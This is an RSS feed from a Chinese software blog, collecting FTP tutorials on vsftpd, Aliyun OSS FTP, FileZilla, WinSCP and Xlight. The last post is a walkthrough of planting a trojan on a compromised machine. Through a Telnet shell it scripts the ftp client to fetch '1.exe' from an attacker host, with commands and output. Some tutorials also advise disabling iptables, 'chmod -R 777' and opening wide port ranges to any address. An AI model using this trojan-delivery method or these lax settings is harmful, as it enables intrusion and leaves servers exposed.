FTP – 嗨软 https://ihacksoft.com/archive 分享最好用的常用软件 Tue, 22 Nov 2022 02:41:09 +0000 zh-CN hourly 1 https://wordpress.org/?v=4.9.26 最快速搭建FTP或HTTP服务器分享文件的方法 https://ihacksoft.com/archive/809.html https://ihacksoft.com/archive/809.html#respond Mon, 14 Oct 2019 03:29:14 +0000 https://ihacksoft.com/?p=1538   真的没有想到,原来 Everything 还有这个功能!亲测可行!由于国内的很多网盘已经关闭,所以要进行文件分享就变得比较困难。如何在自己的电脑系统中快速搭建一个临时的分享系统?

  很多常见的软件里面就有类似的功能,比如搜索软件 Everything 就可以搭建HTTP服务和FTP服务。首先在设置窗口选中“允许HTTP文件下载”选项,设置完成以后点击“确定”按钮,这个用于分享的系统就搭建完成了。

]]>
https://ihacksoft.com/archive/809.html/feed 0
CentOS 之 vsftpd 从安装到配置命令笔记 https://ihacksoft.com/archive/570.html https://ihacksoft.com/archive/570.html#respond Tue, 16 Apr 2019 11:46:22 +0000 https://ihacksoft.com/?p=1299   我的 VPS 上用的是 CentOS 系统,FTP 服务是必须的,经常需要修改网站文件,上传和下载,没 FTP 很不方便。 vsftpd 已经使用多年,但是一台新的服务器安装或配置 vsftpd 经常忘记相关命令,故在此记录一下。

vsftpd是否安装

rpm -q vsftpd

没有的话安装一下(记得已经联网)

yum install vsftpd

——————
安装完成后你可以 chkconfig –list vsftpd 查看它是否开机自启动,结果是没有的。用 chkconfig vsftpd on 命令让它开机自启。
——————
如果想允许root登录:
vi /etc/vsftpd/user_list
vi /etc/vsftpd/ftpusers
#屏蔽掉 root
——————
先关闭iptables:

service iptables stop
——————

下面添加用户hqwftp:

useradd -d /home/hqwftp/ -g ftp -s /sbin/nologin hqwftp
passwd hqwftp

service vsftpd restart

这样就可以顺利登录了。但是有个问题:它可以跳转目录。下面把这个问题解决一下。

——————–
vi /etc/vsftpd/

#chroot_list_enable=YES 这行注释去掉
# (default follows)
#chroot_list_file=/etc/vsftpd/chroot_list 这行注释也去掉,然后保存

那/etc/vsftpd/chroot_list又是什么文件呢?vsftpd目录下总共就只有三个文件:ftpuser、user_list、vsftpd.conf(还有一个脚本文件不用管它)。
其实chroot_list这个文件默认是不存在的,所以你只需要vi chroot_list新建它,然后在里面加入用户名hqwftp即可。

编辑文件chroot_list:
vi /etc/vsftpd/chroot_list
内容为ftp用户名,每个用户占一行,如:
hqwftp

然后别忘了重启服务:

service vsftpd restart

搞定!!!

————————

扩展:修改端口号

vi vsftpd.conf

在最后加入一条

listen_port=2687

重启service vsftpd restart搞定

————————

重启一下系统看看会不会自启动
结果却不行,为什么?想到了iptables,刚才只是关了一下,并不是永久禁用。

再次执行 service iptables stop,OK,搞定!

或者永久关闭:chkconfig iptables off

完。

===========================================

我发现改了端口号后在 windows cmd 命令行里ftp 192.168.100.11 2687这样子不能登录的。找到解决方法:

先 ftp
然后 ftp> open 192.168.100.11 2687
搞定!!!

===========================================

Apache

安装:yum -y install httpd.i*
配置文件在:/etc/httpd/conf/httpd.conf
主页文件在:/var/www/html

直接用 vi index.html 然后写入一个简单的HTML。

然后 service httpd start 搞定。

]]>
https://ihacksoft.com/archive/570.html/feed 0
最新 FileZilla 绿色版下载 – 保证原版绿色版! https://ihacksoft.com/archive/460.html https://ihacksoft.com/archive/460.html#respond Mon, 11 Mar 2019 08:49:55 +0000 https://ihacksoft.com/?p=470   之前购买并配置了阿里云 OSS FTP,官方推荐使用 FileZilla 作为 FTP 客户端工具。之前一直使用 FlashFXP,倒不是因为 FileZilla 不好,而是 FlashFXP 界面更简洁美观,看习惯了。但其实 FileZilla 是免费开源的,是一款快速、可信赖且性能良好的 FTP 客户端,及服务器端开放源代码程序,具有多种特色、直觉的接口,可控性、有条理的界面和管理多站点的简化方式使得它成为一个方便高效的 FTP 客户端工具。

  看了下 FileZilla 的官网,版本更新非常快,几乎一个月就会有一次升级,不过小版本升级基本以修复 Bug 为主,能用就行,没必要一直追求最新版。本文提供的是基于最新版 3.41.1 的修改,由 ihacksoft.com 进行了绿色化处理,绝对保留了原汗原味的原版程序,除了绿化处,精简了其它不必要的语言文件,只保留简体中文(英文是自带的),使得体积进一步缩减。结果打开之后,发现默认变英文界面了,还需手工设置,那就算了,都带上吧。

FileZilla 绿色版

  FileZilla 的界面说实话不是很喜欢,感觉有些杂乱,但几天使用下来其实还挺顺手的。如果觉得窗口太多看着不舒服,可以通过菜单“查看”,去除快速连接工具栏、消息日志、本地目录树、远程目录树、传输队列等,此外,通过编辑 - 设置,找到“界面”下的“主题”,可以修改软件显示的菜单图标。使用方法就不用多介绍了吧,通过“文件 - 站点管理器”或 快速工具栏填入主机 IP、端口、用户名和密码即可连接。

  最新 FileZilla 绿色版点击下载

]]>
https://ihacksoft.com/archive/460.html/feed 0
阿里云安全组添加 FTP 连接进行上传和下载 https://ihacksoft.com/archive/458.html https://ihacksoft.com/archive/458.html#respond Sun, 10 Mar 2019 17:04:29 +0000 https://ihacksoft.com/?p=468   昨天预约升级了阿里云,从经典网络成功迁移到了专有网络,不过在此过程中也添加安全组规则,其实相当于一个 web 界面的防火墙。结果迁移之后网站正常访问,但是发现 SSH 和 FTP 都无法登录了。于是进入阿里云 ECS 后台,对安全组进行配置。

  阿里云安全组默认打开了 SSH 的22端口,但是我把 22 端口改掉了,所以直接这一条,点修改,将端口改掉即可。但是 FTP 就麻烦了点,我克隆了一条安全组规则,规则方向为:入方向,授权策略为:允许,协议类型为:自定义TCP,端口范围填写:20/21,授权类型为:IPv4地址段访问,授权对象为:0.0.0.0/0。这样依然不行,FTP 连接不上。

  因为 FTP 还有浮动端口,再次克隆上面那一条规则,将 20/21 改成 1024/65535,添加之,这次终于成功连接上了,上传和下载都没有问题,不过这样一来,其实是开放了很多端口,安全性下降很多。

]]>
https://ihacksoft.com/archive/458.html/feed 0
阿里云 OSS FTP 使用 FlashFXP 出错的原因及解决方法 https://ihacksoft.com/archive/455.html https://ihacksoft.com/archive/455.html#respond Sat, 09 Mar 2019 15:33:36 +0000 https://ihacksoft.com/?p=465   一直喜欢用 FTP 来管理文件,并不喜欢在 WordPress 后台通过插件的形式来上传管理阿里云 OSS 上的文件。之前在阿里云 OSS FTP 介绍及使用方法里提到阿里云的 OSS FTP 搭建好之后,使用 FlashFXP 连接没有问题,但是上传不行,会出现奇怪的现象,服务器端的界面一直闪烁跳动,而使用 FileZilla 一切正常,很奇怪,对比了这两个 FTP 客户端工具的各项配置参数,也没发现什么区别,包括被动主动连接模式、二进制传输模式等,尝试修改后都不行。

  看来是兼容性问题,只能使用 FileZilla 工具了,但是 Flashfxp 用习惯了,而且界面更好看。后来继续搜寻,终于发现了问题所在!并亲测成功解决!打开 Flashfxp,选项 - 文件传输规则 - 站点/xxx—使用全局设置去掉勾选—保留文件日期—上载、下载、站点对站点三项去掉勾选。图中可以看到,正在上传的文件有显示:设置日期/时间对象,想了一下,可能就是FTP工具本地设置的问题。按照图中设置后,便可以正常上传文件了!

阿里云OSS FTP使用FlashFXP出错

  关于这个问题提交工单到阿里云,回复的是让用Filezilla工具在操作OSS。工程师 69123 号: 您好,这个就涉及到对应的ftp客户端工具的兼容性了,确实这里是无法保证对所有的ftp客户端工具兼容的,建议您OSSftp统一考虑使用filezilla工具。看来目前改进是无望了,希望未来的版本会更新支持。

  接下来用 Filezilla 上传文件没问题,但是这里如果用 FlashFXP 工具的话,上传中文字符就会导致上传到OSS的文件名变成了乱码。也就是说,阿里云这个oss-ftp压根就没有想过FlashFXP的兼容性。没关系,只需要按照下图设置一下就OK了。

阿里云OSS FTP使用FlashFXP出错

  如果上传到OSS的文件名包含中文,那么就要把FTP工具的编码设置为UTF-8后就可以了,再次上传文件就好了!

]]>
https://ihacksoft.com/archive/455.html/feed 0
阿里云 OSS FTP 介绍及使用方法 – 用FlashFxp、Filezilla等工具上传下载 https://ihacksoft.com/archive/454.html https://ihacksoft.com/archive/454.html#respond Sat, 09 Mar 2019 09:41:11 +0000 https://ihacksoft.com/?p=464   打算把所有的网站文章图片全部搬到阿里云 OSS 上,不仅仅是方便统一管理,同时也是看中阿里云的强大。阿里云 OSS 后台并没有提供直接采用 FTP 客户端(FlashFxp、Filezilla)上传下载的方式,需要进一步进行配置。之前了也没弄,看官方文档似乎有些复杂,其实挺简单的,把自己的操作方法分享一下。

一、简介

  阿里云 OSS FTP 工具是一个特殊的FTP server。它接收普通FTP请求后,将对文件、文件夹的操作映射为对OSS的操作,从而使得您可以基于FTP协议来管理存储在OSS上的文件。官网上特别提示,生产环境请使用OSS SDK,OSS FTP工具主要面向个人用户使用。工具是绿色免安装的,不管 Windows 系统还是 Linux,不管是32位还是64位操作系统,是图形界面还是命令行都可以运行。程序是 Python 写的,已开源到 Github。详细说明如下:

1、目前在1.0版本中,考虑到安装部署的简便,OSS FTP工具不支持TLS加密。由于FTP协议是明文传输的,为了防止您的密码泄漏,建议将FTP server和client运行在同一台机器上,通过127.0.0.1:port的方式来访问。
2、不支持rename和move操作,也就是重命名和移动不行。
3、安装包解压后的路径不能包含中文。
4、FTP server的管理控制页面在低版本的IE中可能打不开。
5、FTP server支持的Python版本:Python2.6和Python2.7。

二、下载

Windows:ossftp-1.0.3-win.zip
Windows默认不会安装Python2.7,所以安装包中包含了Python2.7,解压后即可使用。

Linux/Mac:ossftp-1.0.3-linux-mac.zip
Linux/Mac系统默认安装Python2.7或Python2.6,所以安装包中不再包含可执行的Python,,只包含了相关依赖库。

三、运行

  首先解压之前下载的文件,然后根据环境情况选择不同的运行方式:
Windows:双击运行start.vbs 或 start.bat。如双击无反应,请升级您的IE浏览器或设置其他浏览器为默认浏览器。
Linux:打开终端,运行$ bash start.sh。
Mac:双击start.command,或者在终端运行$ bash start.command。

阿里云 OSS FTP

  上述步骤会启动一个FTP server,默认监听在127.0.0.1的2048端口,可自定义修改,我改成了666。同时,为了方便您对FTP server的状态进行管控,还会启动一个web服务器,监听在127.0.0.1的8192端口。如果您的系统有图形界面,还会自动打开控制页面。在控制页面中允许修改监听地址、监听端口、日志类型、指定某个地域的存储空间(格式为bucket.enpoint)、页面语言,修改后需保存配置并在重启后生效。要注意的是,同一时间内只能存在一个服务器和一个连接。如果在一个服务器已连接的情况下新建连接,则之前连接会直接断开。

四、获取 access_key_id 和 access_key_secret

  登录阿里云管理后台,进入阿里云 OSS 某个 Bucket,右侧有个 Access Key,点进去,建议选择子用户 AccessKey,不要用全局的,如果是全局的话,它会拥有全部的操作权限,不安全。而子用户AccessKey创建之后可以设置只有对当前 Bucket 的操作权限。子用户建立之后,找到此用户,点击右侧的“授权”,我添加了 AliyunOSSFullAccess 权限,也就是管理对象存储服务(OSS)的权限,而不是管理所有阿里云资源的权限。

阿里云 OSS FTP

  点击刚才建立的用户进入,拉到最下面,创建 AccessKey,创建成功之后会显示密码,得把密码记下来,因为关闭窗口后密码就看不到了,如果忘了密码只能将新建,把之前的禁用或删除。关于 access_key_id 和 access_key_secret 可以参考阿里云相关官方文档

五、用 FTP 工具进行上传下载

主机:127.0.0.1;
登录类型:普通;端口根据自定义的改;
用户:格式为access_key_id/bucket_name,例如tSxyiUM3NKswPMEp/ihacksoft.com;
密码:access_key_secret

  官方推荐是用 FileZilla 客户端,但是我用习惯了 FlashFxp。很奇怪,用 FlashFxp 连接是正常的,但是当上传一个文件时软件界面一直闪烁,信息栏显示连接丢失,不过文件似乎是传上去了,但问题肯定是存在的。我还以为是阿里云的配置问题,倒腾了很久,后来发现使用 Filezilla 却没有任何错误,上传非常顺利,那估计是兼容性问题了,不再深入研究,就用 Filezilla 好了。

]]>
https://ihacksoft.com/archive/454.html/feed 0
WinSCP 中文绿色便携版下载 – 超好用的 SFTP、SCP、FTP 客户端 https://ihacksoft.com/archive/409.html https://ihacksoft.com/archive/409.html#respond Tue, 11 Sep 2018 10:13:51 +0000 https://ihacksoft.com/?p=419   之前远程连接管理 Linux 服务器用的一直是 SecureCRT 或 Putty,直到这几天使用了 WinSCP,爱不释手,将它用作文件资源浏览器管理 Linux VPS,太方便了!文件目录一目了然。本文提供 WinSCP 的简体中文绿色便携版下载,并简单介绍下使用方法。 

一、下载

  可以去官网上下载,也可以点击这里下载最新的 WinSCP 简体中文绿色版,推荐后者,下载后直接解压,里面仅包含了三个文件,双击运行主程序 WinSCP.exe 即可!

二、使用方法

  打开WinSCP弹出登陆窗口,主机名输入VPS的IP地址,端口号这里要说一下,VPS端口号如果是改过的,要输入改后的新端口号,否则会被服务器拒绝登录。如果你VPS的端口号是默认的22,那么就直接登陆即可。最后保存一下吧,省得每次都要输入。

WinSCP

  WinSCP传输模式可以选择FTP、SFTP、SCP、WebDAV 4种模式,默认为SFTP模式,我们一般用前两种。SSH(Secure Shell)是一个网络服务程序,它可以代替Telnet、FTP为跨平台之间的文件传输提供一个安全的“通道”,而使用SSH协议进行FTP传输的协议就叫SFTP(安全文件传输)。

  登录到VPS之后,默认在root目录了,有人看到这里就不知道怎么办了,想管理网站文件不知道在哪里了。其实只需要双击最上面那个拐弯的箭头,就能进入。进入之后就可以看到 wwwroot 上的各钟目录了,双击进去后就能看到当初你给网站起名的文件夹了。网站文件就放在这个文件夹中,可以按需编辑了。

WinSCP

三、注意事项

1、如果VPS服务器是你自己一手管理的,不需要额外安装FTP服务了。

2、SFTP模式因为使用了root账号,对VPS服务器有最高管理权限。可以增删修改任意文件,当你编辑和替换文件之前,最好事先下载一个备份到本地,以防万一。

]]>
https://ihacksoft.com/archive/409.html/feed 0
Linux(CentOS)FTP 无法上传下载原来是这个原因! https://ihacksoft.com/archive/394.html https://ihacksoft.com/archive/394.html#respond Thu, 05 Jul 2018 11:09:20 +0000 https://ihacksoft.com/?p=404   在 VPS(CentOS) 上整了一套网站管理系统,一切都顺利的,到了 FTP 有问题了,特意看了内含的软件,FTP用的 Pure FTPd 程序。一开始是无法下载,那是因为防火墙的问题,FTP 运行需要21和20端口,开启一下即可。下载是可以了,但上传还是不行,以为是我的 Flashfxp 问题,想换成 FileZilla 客户端程序,其实问题不在这里,我忽略了一个很重要的问题:写入权限。赶紧 SSH 连接上服务器,对指定目录 chmod -R 777。小结一下,如果 Linux FTP 无法上传下载,有可能的原因,一是端口阻断,二是权限问题。希望对遇到同样问题的朋友有所帮助。

]]>
https://ihacksoft.com/archive/394.html/feed 0
绿色迷你 FTP 服务器 – Xlight FTP 详细使用方法 https://ihacksoft.com/archive/315.html https://ihacksoft.com/archive/315.html#respond Mon, 30 Apr 2018 07:34:16 +0000 https://ihacksoft.com/?p=325   前几天有个部门办公室要相互共享文件,上去一看,操作系统都不一样,有XP、Windows 7、Windows 10,本来可以通过文件夹共享,但是系统各不同,设置起来很是麻烦,最后决定用 FTP 的方式解决。于是找了不少简单易用的 FTP Server,后来发现 Xlight FTP 最好用了,无需安装,绿色单文件,关键还是运行很稳定。

  Xlight 是目前最小巧易用的FTP服务器,但功能也一点都不少,像多个虚拟服务器的支持、分级的虚拟目录系统、高级的访问控制、支持MODE z压缩传输,支持带宽管理……而且,这么好的一款FTP服务器,其个人版竟然是免费的。免费版本缺少的也只是那些一般用户用不到的远程客户管理、记录传输日志到ODBC数据库、支持活动目录和LDAP等功能。

  需要提醒大家的是,Xlight下载下来之后,会自动以专业版的方式运行,30天之后没有注册,才变成功能受限的个人免费版本。

  Xlight 可算作一款完全绿色的软件,如果你不需要帮助信息的话,它的服务器端甚至可以只下载一个可执行文件。

  Xlight操作起来还算简单,我们可以看到,最上面是工具栏,分别用来创建新的虚拟服务器、删除虚拟服务器、修改虚拟服务器选项、用户列表(创建、复制、删除用户,修改用户配置)、组列表(创建、复制、删除组,修改组配置),稍靠右边的按钮是用来显示用户连接细节,全局选项调整(包括服务器带宽、防火墙、远程管理等);中间是登录、传输信息显示;最下面是网络带宽占用情况。

  闲话休提,我们现在就以它为例,看看如何创建一个用来共享的文件服务器吧。

Xlight FTP

1、创建虚拟服务器

  点击Xlight最左上角的“创建新的虚拟服务器”按钮在打开的“增加虚拟服务器”窗口,一般不用进行特别的设置,IP地址就采用“动态IP”,端口也就是默认的“21”。

2、授权用户访问

  刚才创建的FTP服务器现在还不能访问,因为我们还没有对用户进行授权。

  选中刚才创建的虚拟服务器后,再点击Xlight上部的“用户列表”按钮。在打开的“用户列表”窗口,我们可以看到默认的用户列表是空的。右边的四个按钮依次是增加、编辑、删除和复制用户。
  
  点击“添加”按钮开始添加用户。需要注意的是,用户的添加,不但包括账号和密码,还包括了它的家目录。

3、用户访问

  服务器创建好了,现在把你的服务器的IP地址和用户的账号、密码告诉给需要分享资源的朋友,他们就可以访问了。

  用什么工具来访问呢?最简单的,IE就成。打开IE,在它的地址栏输入“ftp://你的IP地址:服务器端口”回车。如果该服务器设置的是匿名访问,则可以直接看到共享资源了。

  其实,我不推荐大家使用IE来进行FTP资源的下载,毕竟现在好用的FTP客户端很多(比如FTPRush、FlashFxP),它们对于断点续传等支持的更好,何苦不用呢?

  最后提醒大家一句,Xlight的功能远不止以上介绍的这么简单。它还支持虚拟目录、网络带宽的限制、用户磁盘限量等高级功能。限于篇幅,我这里不能一一详述,只能靠你自己去摸索了。

]]>
https://ihacksoft.com/archive/315.html/feed 0
肉鸡CMD Shell下利用FTP上传木马文件 https://ihacksoft.com/archive/1017.html https://ihacksoft.com/archive/1017.html#respond Wed, 04 Nov 2009 12:09:52 +0000 https://ihacksoft.com/?p=1746 *===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>echo open 192.168.0.147 > ftp.txt ]]>
开了肉鸡的Telnet后,登陆上去,给他种一个木马上去。以下是我在CMD Shell中实际操作的:

*===============================================================
欢迎使用 Microsoft Telnet 服务器。
*===============================================================
C:\>echo open 192.168.0.147 > ftp.txt

C:\>echo hqw>>ftp.txt

C:\>echo 123>>ftp.txt

C:\>echo binary >> ftp.txt

C:\>echo get 1.exe >> ftp.txt

C:\>echo bye >> ftp.txt

C:\>ftp -s:ftp.txt
ftp> open 192.168.0.147
Connected to 192.168.0.147.
220 你Y又来了!!!
User (192.168.0.147:(none)):
331 Password required for hqw

230 User successfully logged in.
ftp>
ftp> binary
200 Type set to I
ftp> get 1.exe
200 Port command successful.
150 Opening BINARY mode data connection for file transfer.
226 Transfer complete
ftp: 761344 bytes received in 0.17Seconds 4426.42Kbytes/sec.
ftp> bye
220 再来揍死你!!!

]]>
https://ihacksoft.com/archive/1017.html/feed 0